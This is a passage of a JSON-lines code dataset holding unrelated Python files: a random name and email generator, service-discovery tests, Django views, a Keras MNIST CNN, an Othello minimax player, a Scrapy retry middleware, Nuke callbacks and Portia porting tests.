open(self.fName, \"r\")\n\t\treadHandle = fh.readlines()\n\t\tfh.close()\n\t\treturn readHandle\t\n\t\n\tdef _loadValidEmail(self):\n\t\t\"\"\"\n\t\tLoad valid email domain list\n\t\tSource: https://gist.github.com/tbrianjones/5992856 (updated March 30, 2021)\n\t\t\"\"\"\n\t\tfe = open(self.fMail, \"r\")\n\t\temailHandle = fe.readlines()\n\t\tfe.close()\n\t\treturn emailHandle\n\n\tdef _getEmailProvider(self):\n\t\t\"\"\"\n\t\tGet valid email domain\n\t\tExample:\n\t\t- zonnet.nl\n\t\t- hello.hu \n\t\t\"\"\"\n\t\temailProv = self._loadValidEmail()\n\t\temailOne = \"{}\".format(random.choice(emailProv).rstrip(\"\\n\"))\n\t\treturn emailOne\n\n\tdef getFirstname(self):\n\t\t\"\"\"\n\t\tFor user email\n\t\tExample: \n\t\t- lucifer\n\t\t- Warren\n\t\t\"\"\"\n\t\tfirst = self._loadListName()\n\t\tfirstName = \"{}\".format(random.choice(first).rstrip(\"\\n\"))\n\t\treturn firstName.lower()\t\n\n\tdef randomFullName(self):\n\t\t\"\"\"\n\t\tGet random full name\n\t\t\n\t\tExample:\n\t\t>>> email = ldga()\n\t\t>>> email.randomFullName()\n\t\tPeggy Devon\n\t\t\"\"\"\n\t\tallName = self._loadListName()\t\n\t\tfirstandlast = \"{}\".format(random.choice(allName).rstrip(\"\\n\")) + \" \" + \"{}\".format(random.choice(allName).rstrip(\"\\n\"))\n\t\treturn firstandlast\n\n\tdef getRandomEmail(self):\n\t\t\"\"\"\n\t\tGet random email address\n\t\t\n\t\tExample:\n\t\t>>> email = ldga()\n\t\t>>> email.getRandomEmail()\n\t\twarren@zonnet.nl\n\t\t\n\t\t>>> email.getRandomEmail()\n\t\tpeggy@happermail.com\n\t\t\"\"\"\n\t\treturn \"{}\".format(self.getFirstname()+\"@\"+self._getEmailProvider()) \n","sub_path":"profiles/malicious/LibDGA.py","file_name":"LibDGA.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"193287202","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author: ahuynh\n# @Date: 2015-06-18 20:15:30\n# @Last Modified by: ahuynh\n# @Last Modified time: 2016-02-11 16:23:22\nimport unittest\n\nfrom collections import namedtuple\nfrom sidekick import announce_services, check_name, find_matching_container\nfrom sidekick import check_health, public_ports\n\n# Used to test command line arguments\nArgs = namedtuple('Args', ['name', 'ip', 'check_ip', 'domain', 'vulcand', 'type'])\n\n\nclass MockEtcd( object ):\n def delete( self, value ):\n pass\n\n def write( self, value, ttl ):\n pass\n\n\nclass TestSidekick( unittest.TestCase ):\n\n def setUp( self ):\n\n self.args = Args(\n name='test',\n ip='localhost',\n check_ip='0.0.0.0',\n domain='example.com',\n vulcand=False,\n type='http'\n )\n\n self.etcd_client = MockEtcd()\n\n self.container = {\n 'Image': 'image:latest',\n 'Ports': [{\n 'PrivatePort': 9200,\n 'IP': '0.0.0.0',\n 'Type': 'tcp',\n 'PublicPort': 9200 }, {\n 'PrivatePort': 9300,\n 'IP': '0.0.0.0',\n 'Type': 'tcp',\n 'PublicPort': 9300}],\n 'Created': 1427906382,\n 'Names': ['/test'],\n 'Status': 'Up 2 days'}\n\n def test_announce_services( self ):\n ''' Test `announce_services` functionality '''\n services = find_matching_container( [self.container], self.args )\n announce_services( services.items(), 'test', self.etcd_client, 0, 0, False )\n\n def test_check_health( self ):\n ''' Test `check_health` functionality '''\n results = find_matching_container( [self.container], self.args )\n for value in results.values():\n self.assertFalse( check_health( value ) )\n\n def test_check_name( self ):\n ''' Test `check_name` functionality '''\n self.assertTrue( check_name( self.container, 'test' ) )\n self.assertFalse( check_name( self.container, '/test' ) )\n\n def test_find_matching_container( self ):\n ''' Test `find_matching_container` functionality '''\n # Test a successful match\n results = find_matching_container( [self.container], self.args )\n self.assertEqual( len( results.items() ), 2 )\n\n # Test an unsuccessful match (no matching names)\n invalid_name = dict( self.container )\n invalid_name[ 'Names' ] = [ '/invalid_name' ]\n results = find_matching_container( [invalid_name], self.args )\n self.assertEqual( len( results.items() ), 0 )\n\n # Test an unsuccessful match (no public ports)\n no_open_ports = dict( self.container )\n no_open_ports['Ports'] = []\n with self.assertRaises( Exception ):\n find_matching_container( [no_open_ports], self.args )\n\n def test_public_ports( self ):\n ''' Test `public_ports` functionality '''\n self.assertEquals( len( public_ports( self.container ) ), 2 )\n","sub_path":"tests/test_sidekick.py","file_name":"test_sidekick.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"72455686","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import Projeto, ImagensProjeto\nfrom .forms import ProjetoModelForm, ImagemModelForm\n\ndef projetos_page(request):\n qs = Projeto.objects.all()\n context = {\n 'projetos': qs\n }\n return render(request, 'projetos/projetos.html', context)\n\ndef projeto_page(request, slug):\n obj = get_object_or_404(Projeto, slug=slug)\n qs = ImagensProjeto.objects.filter(projeto=obj.id)\n first = qs[0]\n imagens = []\n for i in range(1, len(qs)):\n imagens.append(qs[i])\n context = {\n 'projeto': obj,\n 'primeiro': first,\n 'imagens': imagens\n }\n return render(request, 'projetos/projeto.html', context)\n\ndef projeto_form(request):\n form = ProjetoModelForm(request.POST or None)\n if form.is_valid():\n obj = form.save(commit=False)\n #slug = obj.slug\n obj.save()\n form = ProjetoModelForm()\n context = {\n 'form': form\n }\n return render(request, 'projetos/form.html', context)\n\n#def imagens_form(request, slug):\n# form = ImagemModelForm(request.POST or None)\n# if form.is_valid():\n# img = form.save(commit=False)\n# img.save()\n# form = ImagemModelForm()\n# context = {\n# 'form': form\n# }\n# return render(request, 'projetos/form.html', context)","sub_path":"projetos/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"494640299","text":"\"\"\"\nPlots isosurfaces of time-averaged energy distribution of turbulent blob\n... Assumes that there are text files that store data like (x,y,E)\nauthor takumi\n\"\"\"\nimport argparse\nimport sys\nimport numpy as np\nfrom scipy import ndimage, interpolate\n\nsys.path.append('/Users/stephane/Documents/git/takumi/')\nimport library.tools.process_data as process\nimport library.tools.handle_data as dhandle\nimport library.display.graph as graph\nimport library.manager.file_architecture as file_architecture\n\n# new grid spacing in mm\n__xint__, __yint__, __zint__ = 1., 1., 1.\n\n\ndef interp_flow_component(x, y, z, data, xint=__xint__, yint=__yint__, zint=__zint__, method='linear'):\n points = [(xx, yy, zz) for xx, yy, zz in zip(x, y, z)]\n # grid_ind0, grid_ind1 = mgrid[0:imsize[0], 0:imsize[1]]\n # griddata = interpolate.griddata(uxindicies, ux, (grid_ind0, grid_ind1), method=method, fill_value=0.)\n xmin, xmax, ymin, ymax, zmin, zmax = np.min(x), np.max(x), np.min(y), np.max(y), np.min(z), np.max(z)\n xnew, ynew, znew = np.arange(xmin, xmax + xint, xint), np.arange(ymin, ymax + yint, yint), np.arange(zmin, zmax + zint, zint)\n Xnew, Ynew, Znew = np.meshgrid(xnew, ynew, znew)\n griddata = interpolate.griddata(points, data, (Xnew, Ynew, Znew), method=method, fill_value=np.nan)\n\n return Xnew, Ynew, griddata\n\n\nif __name__ == '__main__':\n \"\"\"\n Pass a absolute path of the cine files through '-input' e.g. -input '/absolute/path/to/cineDir/*.cine'\n \"\"\"\n parser = argparse.ArgumentParser(description='')\n # Locate Data\n ## Method 1: date\n parser.add_argument('-d', metavar='date', type=str, default=None,\n help='Date to be processed. Python will look for it in the folders specified in file_architecture.py')\n ## Method 2: Abs. path to data directory\n parser.add_argument('-datadir', dest='datadir', default=None, type=str,\n help='Absolute path to a directory where slice# folders live')\n # Settings of Multi-layer PIV\n parser.add_argument('-nslices', dest='nslices', type=int, default=17,\n help='Number of PIV slices')\n # Physical orientation\n parser.add_argument('-dist', dest='dist', type=float, default=None,\n help='Distance between laser and center of a box')\n parser.add_argument('-angle', dest='theta', type=float, default=None,\n help='sweeping angle / 2')\n parser.add_argument('-boxwidth', dest='boxwidth', type=float, default=254,\n help='')\n\n parser.add_argument('-cineindex', dest='cineindex', type=int, default=1,\n help='Index associated to cine')\n\n # PARSE COMMAND LINE INPUTS\n args = parser.parse_args()\n date = args.date\n datadir = args.datadir\n nslices = args.nslices\n cineindex = args.cineindex\n dist = args.dist\n theta = args.theta\n boxwidth = args.boxwidth\n\n Z = np.linspace(0, 2 * (dist+boxwidth/2.)*np.tan(theta), __zint__)\n\n\n\n subdir = '/AnalysisResults/Time_averaged_Plots_' + cineindex + '/'\n for slicenum in range(nslices):\n if datadir == None:\n datadir = file_architecture.get_dir(date)\n datapath = datadir + 'slice' + str(slicenum) +'/timeaveragedE_slice' + str(slicenum) + '.txt'\n key, data, counter = dhandle.generate_data_dct(datapath, separation=' ')\n\n\n\n\n\n\n","sub_path":"scripts/plot_isosurface.py","file_name":"plot_isosurface.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"121210313","text":"#!/usr/bin/env python3\n\nfrom lib.postgres import connectDb\nimport argparse\nimport asyncio\n\nargparser = argparse.ArgumentParser(description=\"execute test cases\")\nargparser.add_argument(\n '--config-db',\n type=str,\n required=True,\n help=\"test envrionment database configuration file\"\n)\nargparser.add_argument(\n '--ready-resources',\n type=str,\n required=False,\n help=\"name of resources which should be ready in the resource table, seperate with ','\"\n)\nargs = argparser.parse_args()\n\n# Test and setup database connection\nasync def test_db_conn():\n print(\"\")\n print('testing database connection')\n (conn, schema) = await connectDb(args.config_db)\n async with conn.cursor() as cur:\n await cur.execute(\"SELECT 1\")\n ret = []\n async for row in cur:\n ret.append(row)\n assert ret == [(1,)]\n print('database connection is OK')\n return (conn, schema)\n\nasync def test_resources(conn = None, schema: str = None, names: list = None):\n print(\"\")\n print('testing resources')\n async with conn.cursor() as cur:\n await cur.execute(\"SELECT name from {}.resource where status = 'ready'\".format(schema))\n ret = []\n async for row in cur:\n ret.append(row[0])\n\n for resource in names:\n exists = False\n for name in ret:\n if name == resource:\n exists = True\n break\n if not exists:\n print('Resource {} is missing'.format(resource))\n assert(exists)\n print('resources all exist')\n\nasync def main():\n (conn, schema) = await test_db_conn()\n if args.ready_resources:\n await test_resources(conn, schema, args.ready_resources.split(\",\"))\n conn.close()\n\ndef execute():\n loop = asyncio.get_event_loop()\n loop.run_until_complete(main())\n\nif __name__ == \"__main__\":\n execute()","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"552457091","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 7 14:03:08 2018\n\n@author: Simon\n\nNow we try to create a CNN\n\"\"\"\n\nimport numpy\nfrom keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import Dropout\nfrom keras.layers import Flatten\nfrom keras.layers.convolutional import Conv2D\nfrom keras.layers.convolutional import MaxPooling2D\nfrom keras.utils import np_utils\nfrom keras.utils import plot_model\nimport matplotlib.pyplot as plt\nfrom keras import backend as K\nimport random\nK.set_image_dim_ordering('th')\n\ndef baseline_model(convNetNeurons = 32, denseNetNeurons = 128):\n # create model\n model = Sequential()\n model.add(Conv2D(convNetNeurons, (2,2), strides = (convNetNeurons,convNetNeurons),\\\n input_shape=(1, 28, 28), activation='relu'))\n\n model.add(MaxPooling2D(pool_size=(2, 2)))\n# model.add(Dropout(0.2))\n model.add(Flatten())\n model.add(Dense(denseNetNeurons, activation='relu'))\n model.add(Dense(num_classes, activation='softmax'))\n # Compile model\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n# model.summary()\n return model\n\n \n# fix random seed for reproducibility\nseed = 7\nnumpy.random.seed(seed)\n\n# load data\n(X_Train, y_train), (X_Test, y_test) = mnist.load_data()\n# reshape to be [samples][pixels][width][height]\nX_train = X_Train.reshape(X_Train.shape[0], 1, 28, 28).astype('float32')\nX_test = X_Test.reshape(X_Test.shape[0], 1, 28, 28).astype('float32')\n\n# normalize inputs from 0-255 to 0-1\nX_train = X_train / 255\nX_test = X_test / 255\n# one hot encode outputs\ny_train = np_utils.to_categorical(y_train)\ny_test = np_utils.to_categorical(y_test)\nnum_classes = y_test.shape[1]\n\n# build the model\nmodel = baseline_model(convNetNeurons = 4, denseNetNeurons = 4)\nmodel.summary()\nfor l in range(len(model.layers)):\n print(l)\n print(model.layers[l].name)\n print(model.layers[l].output)\n\n# Fit the model\nmodel.fit(X_train, y_train, validation_data=(X_test, y_test), epochs=10, batch_size=200, verbose=2)\n# Final evaluation of the model\nscores = model.evaluate(X_test, y_test, verbose=0)\nprint(\"CNN Error: %.2f%%\" % (100-scores[1]*100))\n\n\nmodel.save('CNN_errRate%.2f%%.h5' % (100-scores[1]*100))\n\ndef printSingleImage():\n # Test a single instance and look at it\n rValue = random.randint(1,len(X_train))\n \n # Get the Single Image\n single_x_test = X_train[rValue]\n \n # Predict a single image\n q = model.predict( numpy.array( [single_x_test,] ) )\n \n # Show Single Image\n plt.imshow(X_Train[rValue], cmap=plt.get_cmap('gray'))\n plt.show()\n \n # Show index of greatest value, which is equal to number determined by NN\n print(\"NN thinks: \" + str(numpy.argmax(q)))\n print(\"Actual Value: \" + str(numpy.argmax(y_train[rValue])))\n \n \n # Doesent work yet, but it will\n plot_model(model, to_file='model.png', show_shapes='True')\n ","sub_path":"convolutional_NN_Keras_MNIST/CNN_SGG.py","file_name":"CNN_SGG.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"493997871","text":"from copy import deepcopy\nimport game\nfrom board import Board\nimport numpy as np\n\n\nclass MinmaxPlayer:\n inf = float(\"inf\")\n\n def __init__(self, color):\n self.color = color\n self.name = \"MinMax\"\n\n def next_move(self, board, color, depth=2, W=None, w=None):\n if game.validate(board, color, 'pass'):\n return \"pass\"\n mov, val = self.max_val(\n board, -self.inf, self.inf, depth, color, W=W, w=w)\n return mov\n\n def get_valid_pos(self):\n moves = []\n for y in range(8):\n for x in range(8):\n if game.validate(self._board, self._color, [x, y]):\n moves.append([x, y])\n return moves\n\n def get_successors(self, poslist):\n if self._color == \"B\":\n idx = 0\n elif self._color:\n idx = 1\n suclist = []\n before_score = game.score(self._board)\n for pos in poslist:\n nb = deepcopy(self._board)\n game.do_move(nb, self._color, pos)\n after_score = game.score(nb)\n suclist.append([pos, nb, after_score[idx] - before_score[idx] - 1])\n return suclist\n\n def get_best_position(self, suclist):\n suclist = np.array(suclist)\n max_gain = suclist[:, 2].max()\n bps = []\n for mov, state, gain in suclist:\n if gain == max_gain:\n bps.append(mov)\n return bps\n\n def end_state(self, state):\n return game.validate(state, \"B\", \"pass\") and game.validate(state, \"W\", \"pass\")\n\n def max_val(self, state, alpha, beta, depth, color, rev=False, W=None, w=None):\n if self.end_state(state):\n return None, self.utility(state, color)\n elif depth == 0:\n return None, self.evaluate(state, color, W=W, w=w)\n best = None\n v = -self.inf\n if not rev:\n moves = self.successors(state, color)\n else:\n moves = self.successors(state, game.opponent(color))\n for mov, state in moves:\n val = self.min_val(state, alpha, beta, depth -\n 1, color, rev, W=W, w=w)[1]\n if best is None or val > v:\n best = mov\n v = val\n if v >= beta:\n return best, v\n alpha = max(alpha, v)\n return best, v\n\n def min_val(self, state, alpha, beta, depth, color, rev=False, W=None, w=None):\n if self.end_state(state):\n return None, self.utility(state, color)\n elif depth == 0:\n return None, self.evaluate(state, color, W=W, w=w)\n best = None\n v = self.inf\n if rev:\n moves = self.successors(state, color)\n else:\n moves = self.successors(state, game.opponent(color))\n for mov, state in moves:\n val = self.max_val(state, alpha, beta, depth -\n 1, color, rev, W=W, w=w)[1]\n if best is None or val < v:\n best = mov\n v = val\n if v <= alpha:\n return best, v\n beta = min(beta, v)\n return best, v\n\n def successors(self, state, color):\n suclist = []\n movs = []\n for y in range(8):\n for x in range(8):\n if game.validate(state, color, [x, y]):\n movs.append([x, y])\n for mov in movs:\n nb = deepcopy(state)\n game.do_move(nb, color, mov)\n suclist.append([mov, nb])\n return suclist\n\n def utility(self, state, color):\n s = Board(state).score()\n ans = 0\n if s[0] == s[1]:\n ans = 0\n elif s[0] < s[1] and color == \"W\":\n ans = self.inf\n elif s[0] > s[1] and color == \"B\":\n ans = self.inf\n else:\n ans = -self.inf\n return ans\n\n def evaluate(self, state, color, W=None, w=None):\n if not W:\n W = np.array(\n [\n [70, -12, 0, -1, -1, 0, -12, 70],\n [-12, -15, -3, -3, -3, -3, -15, -12],\n [0, -3, 0, -1, -1, 0, -3, 0],\n [-1, -3, -1, -1, -1, -1, -3, -1],\n [-1, -3, -1, -1, -1, -1, -3, -1],\n [0, -3, 0, -1, -1, 0, -3, 0],\n [-12, -15, -3, -3, -3, -3, -15, -12],\n [70, -12, 0, -1, -1, 0, -12, 70],\n ]\n )\n if not w:\n w = [3, 1, 1, 0, 1, 1, 1, 1]\n f_11, f_12, f_13, f_21, f_22, f_23, w_1, w_2 = w\n X = np.array(state)\n Y = np.zeros_like(X, dtype=int)\n Y[X == color] = w_1\n Y[X == game.opponent(color)] = w_2\n score = int((Y * W).sum())\n vp = int(f_21) * (int(f_22) * len(Board(state).valid_pos(self)) -\n int(f_23) * len(Board(state).valid_pos(MinmaxPlayer(game.opponent(color)))))\n dif = int(f_11) * (int(f_12) * np.bincount((X == color).ravel())[1] -\n int(f_13) * np.bincount((X == game.opponent(color)).ravel())[1])\n score += vp + dif\n return score\n\n def get_game_result(self, board_data, game_ended=False, opponent=None):\n pass\n","sub_path":"player/minmax.py","file_name":"minmax.py","file_ext":"py","file_size_in_byte":5265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"52430887","text":"import serial\r\nfrom matplotlib import pyplot\r\n\r\nser = serial.Serial('COM4',38400)\r\nwhile True:\r\n print('Press a key to start')\r\n input()\r\n\r\n print('please input theta ref')\r\n x = input()\r\n x = str(x) + '\\r'\r\n ser.write(x.encode('utf-8'))\r\n \r\n print('please input Kp')\r\n y = input()\r\n y = str(y) + '\\r'\r\n ser.write(y.encode('utf-8'))\r\n \r\n while ser.in_waiting > 0:\r\n data = ser.readline()\r\n data = data.decode('utf-8')\r\n theta_ref = data\r\n data = ser.readline()\r\n data = data.decode('utf-8')\r\n Kp = data\r\n data = ser.readline()\r\n data = data.decode('utf-8')\r\n time = data\r\n data = ser.readline()\r\n data = data.decode('utf-8')\r\n position = data\r\n \r\n time= time.split(',')\r\n time= [s.strip('\\n') for s in time]\r\n time= [s.strip('\\r') for s in time]\r\n time= [s.strip('[') for s in time]\r\n time= [s.strip(']') for s in time]\r\n \r\n position = position.split(',')\r\n position = [s.strip('\\n') for s in position]\r\n position = [s.strip('\\r') for s in position]\r\n position = [s.strip('[') for s in position]\r\n position = [s.strip(']') for s in position]\r\n \r\n \r\n time= list(time)\r\n time = [int(i) for i in time]\r\n #print(time)\r\n position = list(position)\r\n position = [float(i) for i in position]\r\n print(position)\r\n pyplot.plot(time,position)\r\n pyplot.xlabel (\"Time (ms)\") \r\n pyplot.ylabel (\"Position (ticks)\") \r\n pyplot.title (\"Step Response of 24 Volt DC Motor\") \r\n pyplot.show()\r\n \r\n \r\n \r\n\r\n#ser.flush()\r\n#inputs = []\r\n#for line in range(3):\r\n# inputs.append(ser.readline())\r\n#time = ser.readline()\r\n#position = ser.readline()\r\n#print(time)\r\n#print(position)\r\n\r\n \r\n \r\n \r\n ","sub_path":"back up code/pc_step.py","file_name":"pc_step.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"21601649","text":"from scrapy.downloadermiddlewares.retry import RetryMiddleware\nfrom scrapy.exceptions import IgnoreRequest\nfrom twisted.internet import defer\nfrom twisted.internet.error import TimeoutError, DNSLookupError, \\\n ConnectionRefusedError, ConnectionDone, ConnectError, \\\n ConnectionLost, TCPTimedOutError\nfrom scrapy.xlib.tx import ResponseFailed\n\n\nclass RedisRetryMiddleware(RetryMiddleware):\n EXCEPTIONS_TO_RETRY = (defer.TimeoutError, TimeoutError, DNSLookupError,\n ConnectionRefusedError, ConnectionDone, ConnectError,\n ConnectionLost, TCPTimedOutError, ResponseFailed,\n IOError, TypeError, ValueError)\n\n def __init__(self, settings):\n RetryMiddleware.__init__(self, settings)\n\n @classmethod\n def from_crawler(cls, crawler):\n cls.crawler = crawler\n return cls(crawler.settings)\n\n @property\n def logger(self):\n return self.crawler.spider._logger\n\n def _retry(self, request, reason, spider):\n retries = request.meta.get('retry_times', 0) + 1\n if retries <= self.max_retry_times:\n retryreq = request.copy()\n retryreq.meta['retry_times'] = retries\n retryreq.dont_filter = True\n # our priority setup is different from super\n retryreq.meta['priority'] = retryreq.meta['priority'] - 10\n spider.logger.info(\"in _retry retries times: %s, re-yield response.request: %s\" % (retries, request.url))\n return retryreq\n else:\n request.meta[\"url\"] = request.url\n if request.meta.get(\"callback\") == \"parse\":\n spider.crawler.stats.inc_total_pages(crawlid=request.meta['crawlid'],\n spiderid=request.meta['spiderid'],\n appid=request.meta['appid'])\n self.logger.info(\n \"in retry request error to failed pages url:%s, exception:%s, meta:%s\" % (request.url, reason, request.meta))\n spider.crawler.stats.set_failed_download_value(request.meta, \"%s_%s\"%(reason, \"retry many times. \"))\n self.logger.debug(\"Gave up retrying %s (failed %d times): %s\"%(request.url, retries, reason))\n raise IgnoreRequest(\"max retry times\")\n","sub_path":"crawler/crawling/redis_retry_middleware.py","file_name":"redis_retry_middleware.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"102647711","text":"# -*- coding: UTF-8 -*-\n\"\"\"Add callback for wlf plugins.\"\"\"\nfrom __future__ import absolute_import, print_function, unicode_literals\n\nimport logging\nimport contextlib\n\nimport nuke\n\n\nLOGGER = logging.getLogger('com.wlf.callback')\n\n\nclass AbortedError(Exception):\n \"\"\"Indicate abort execution. \"\"\"\n pass\n\n\nclass Callbacks(list):\n \"\"\"Failsafe callbacks executor. \"\"\"\n current = None\n\n @contextlib.contextmanager\n def set_current(self):\n \"\"\"Set current object during context. \"\"\"\n\n Callbacks.current = self\n try:\n yield\n finally:\n if Callbacks.current is self:\n Callbacks.current = None\n\n def execute(self, *args, **kwargs):\n \"\"\"Execute callbacks. \"\"\"\n\n with self.set_current():\n ret = None\n try:\n for i in self:\n try:\n ret = i(*args, **kwargs) or ret\n except AbortedError:\n raise\n except:\n import inspect\n\n LOGGER.error(\n 'Error during execute callback: %s(%s,%s):'\n '\\nfrom %s',\n i.__name__,\n args, kwargs,\n inspect.getsourcefile(i),\n exc_info=True)\n\n raise RuntimeError\n except RuntimeError:\n pass\n return ret\n\n\nCALLBACKS_BEFORE_RENDER = Callbacks()\nCALLBACKS_ON_CREATE = Callbacks()\nCALLBACKS_ON_DROP_DATA = Callbacks()\nCALLBACKS_ON_USER_CREATE = Callbacks()\nCALLBACKS_ON_SCRIPT_LOAD = Callbacks()\nCALLBACKS_ON_SCRIPT_SAVE = Callbacks()\nCALLBACKS_ON_SCRIPT_CLOSE = Callbacks()\nCALLBACKS_UPDATE_UI = Callbacks()\n\n\ndef clean():\n \"\"\"Remove error callback. \"\"\"\n\n groups = ('onScriptLoads', 'onScriptSaves', 'onScriptCloses',\n 'onDestroys', 'onCreates', 'onUserCreates', 'knobChangeds',\n 'updateUIs', 'renderProgresses',\n 'beforeBackgroundRenders', 'afterBackgroundRenders',\n 'beforeBackgroundFrameRenders', 'afterBackgroundFrameRenders',\n 'beforeRenders', 'afterRenders',\n 'beforeFrameRenders', 'afterFrameRenders',\n 'validateFilenames')\n for group in groups:\n group = getattr(nuke, group, None)\n if not isinstance(group, dict):\n continue\n for callbacks in group.values():\n for callback in callbacks:\n try:\n str(callback)\n except ValueError:\n callbacks.remove(callback)\n\n\ndef setup():\n\n nuke.addBeforeRender(CALLBACKS_BEFORE_RENDER.execute)\n nuke.addOnScriptLoad(CALLBACKS_ON_SCRIPT_LOAD.execute)\n nuke.addOnScriptSave(CALLBACKS_ON_SCRIPT_SAVE.execute)\n nuke.addOnScriptClose(CALLBACKS_ON_SCRIPT_CLOSE.execute)\n nuke.addOnCreate(CALLBACKS_ON_CREATE.execute)\n nuke.addUpdateUI(CALLBACKS_UPDATE_UI.execute)\n if nuke.GUI:\n import nukescripts\n nukescripts.addDropDataCallback(CALLBACKS_ON_DROP_DATA.execute)\n","sub_path":"lib/callback.py","file_name":"callback.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"455842361","text":"import os\nimport pkg_resources\nfrom datetime import datetime, timedelta\n\nfrom twisted.internet.defer import inlineCallbacks\nfrom twisted.trial.unittest import TestCase\n\nimport txredisapi\n\nfrom portia.portia import Portia\n\n\nclass PortiaTest(TestCase):\n\n timeout = 1\n\n @inlineCallbacks\n def setUp(self):\n self.redis = yield txredisapi.Connection()\n self.portia = Portia(self.redis)\n self.addCleanup(self.redis.disconnect)\n self.addCleanup(self.portia.flush)\n\n def fixture_path(self, fixture_name):\n return pkg_resources.resource_filename(\n 'portia', os.path.join('tests', 'fixtures', fixture_name))\n\n @inlineCallbacks\n def test_import_filename(self):\n result = yield self.portia.import_porting_filename(\n self.fixture_path('sample-db.txt'))\n self.assertEqual(len(result), 10)\n\n @inlineCallbacks\n def test_import_porting_record(self):\n yield self.portia.import_porting_filename(\n self.fixture_path('sample-db.txt'))\n annotations = yield self.portia.get_annotations('27123456780')\n self.assertEqual(annotations['ported-to'], 'MNO2')\n self.assertEqual(annotations['ported-from'], 'MNO1')\n\n @inlineCallbacks\n def test_remove_imported_record(self):\n msisdn = yield self.portia.import_porting_record(\n '27123456789', 'DONOR', 'RECIPIENT', datetime.now().date())\n self.assertTrue((yield self.portia.get_annotations(msisdn)))\n self.assertTrue(\n (yield self.portia.remove_annotations(\n msisdn, 'ported-to', 'ported-from')))\n self.assertFalse((yield self.portia.get_annotations(msisdn)))\n\n @inlineCallbacks\n def test_flush(self):\n msisdn = yield self.portia.import_porting_record(\n '27123456789', 'DONOR', 'RECIPIENT', datetime.now())\n self.assertTrue((yield self.portia.get_annotations(msisdn)))\n self.assertTrue((yield self.portia.flush()))\n self.assertFalse((yield self.portia.get_annotations(msisdn)))\n\n @inlineCallbacks\n def test_annotate(self):\n timestamp1 = datetime.now()\n timestamp2 = datetime.now() - timedelta(days=1)\n yield self.portia.annotate(\n '27123456789', 'ported-to', 'MNO', timestamp=timestamp1)\n yield self.portia.annotate(\n '27123456789', 'X-foo', 'bar', timestamp=timestamp2)\n observation = yield self.portia.get_annotations(\n '27123456789')\n self.assertEqual(observation, {\n 'ported-to': 'MNO',\n 'ported-to-timestamp': timestamp1.isoformat(),\n 'X-foo': 'bar',\n 'X-foo-timestamp': timestamp2.isoformat()\n })\n\n @inlineCallbacks\n def test_remove_annotation(self):\n timestamp = datetime.now()\n yield self.portia.annotate(\n '27123456789', 'ported-to', 'MNO', timestamp=timestamp)\n yield self.portia.annotate(\n '27123456789', 'X-foo', 'bar', timestamp=timestamp)\n yield self.portia.annotate(\n '27123456789', 'X-xxx', '123', timestamp=timestamp)\n yield self.portia.remove_annotations(\n '27123456789', 'ported-to', 'X-xxx')\n observation = yield self.portia.get_annotations(\n '27123456789')\n self.assertEqual(observation, {\n 'X-foo': 'bar',\n 'X-foo-timestamp': timestamp.isoformat()\n })\n\n @inlineCallbacks\n def test_read_annotation(self):\n timestamp = datetime.now()\n yield self.portia.annotate(\n '27123456789', 'ported-to', 'MNO', timestamp=timestamp)\n yield self.portia.annotate(\n '27123456789', 'X-foo', 'bar', timestamp=timestamp)\n yield self.portia.annotate(\n '27123456789', 'X-xxx', '123', timestamp=timestamp)\n self.assertEqual(\n (yield self.portia.read_annotation('27123456789', 'ported-to')),\n {\n 'ported-to': 'MNO',\n 'ported-to-timestamp': timestamp.isoformat(),\n })\n\n @inlineCallbacks\n def test_remove(self):\n msisdn = yield self.portia.import_porting_record(\n '27123456789', 'DONOR', 'RECIPIENT', datetime.now())\n # Removal should return True\n self.assertTrue((yield self.portia.remove(msisdn)))\n # Now, nothing's being removed, should return False\n self.assertFalse((yield self.portia.remove(msisdn)))\n","sub_path":"portia/tests/test_portia.py","file_name":"test_portia.py","file_ext":"py","file_size_in_byte":4428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"129511375","text":"import re\nS, k = input(), input()\nend_pos = len(S)\ni = 0\nfound = False\nwhile i != end_pos:\n m = re.search(k,S[i:])\n if m:\n print((m.start()+i, m.end()+i-1))\n found = True\n i += m.start()+1\n else:\n i += 1\n\nif not found:\n print((-1,-1))","sub_path":"python/regex/start_end.py","file_name":"start_end.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"435006588","text":"import pandas as pd\r\nimport numpy as np\r\nimport string\r\nimport warnings\r\n\r\nfrom sklearn import svm\r\n\r\nclass Train_test_model:\r\n\r\n def prepare(self):\r\n\r\n X_train = train_data_tfidf\r\n X_test = test_data_tfidf\r\n y_train = df_train[\"label\"].values[:31962]\r\n y_test = df[\"label\"].values[31962:]\r\n\r\n return X_train, X_test, y_train, y_test\r\n\r\n def 